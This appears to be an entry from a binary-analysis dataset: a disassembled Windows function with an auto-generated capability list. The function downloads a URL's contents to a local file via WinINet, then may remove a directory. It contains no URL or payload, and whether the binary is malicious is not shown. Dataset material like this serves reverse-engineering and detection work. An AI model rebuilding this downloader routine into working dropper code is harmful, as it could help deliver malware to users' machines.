Function at 0x20f460
Capabilities:
Create http request
Delete directory
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x2497b5
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x265124]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
cmp dword [ebp + 0x18], 0
je 0x20f613
cmp dword [ebp + 0x30], 0
je 0x20f613
push 0x4000
mov ebx, 1
mov dword [ebp - 0x14], 0x4000
call fcn.00229d34
push 0x4000
mov esi, eax
push 0
push esi
call fcn.0022b340
add esp, 0x10
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push 0
cmovae eax, dword [ebp + 0x20]
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0
push 0
push 0
push 0x25be8b
mov dword [ebp - 0x1c], eax
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp dword [ebp + 0x1c], 0x10
mov ecx, eax
push 0
push 0
push 0
lea eax, [ebp + 8]
mov dword [ebp - 0x20], ecx
cmovae eax, dword [ebp + 8]
push 0
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push esi
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x20f57c
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
nop
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x20f577
push 0
lea ecx, [ebp - 0x18]
push ecx
push eax
push esi
push dword [ebp - 0x1c]
call ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push esi
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x20f550
mov ebx, 1
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x20]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
sub esp, 0x18
lea eax, [ebp + 0x20]
mov ecx, esp
push eax
call fcn.00223030
call fcn.00209e20
add esp, 0x18
test eax, eax
jne 0x20f615
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.0022e6c3
add esp, 4
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x38]
call fcn.00207d20
cmp dword [eax + 0x14], 0x10
jb 0x20f5d4
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov edx, dword [ebp - 0x24]
cmp edx, 0x10
jb 0x20f60f
mov ecx, dword [ebp - 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x20f605
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x20f6a5
push edx
push ecx
call fcn.00229d26
add esp, 8
xor ebx, ebx
jmp 0x20f615
xor bl, bl
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x20f645
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x20f63b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x20f6aa
push edx
push ecx
call fcn.00229d26
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x20f687
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x20f67d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x20f6aa
push edx
push ecx
call fcn.00229d26
add esp, 8
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.002296b0
mov esp, ebp
pop ebp
ret
call fcn.0022ea38
call fcn.0022ea38
int3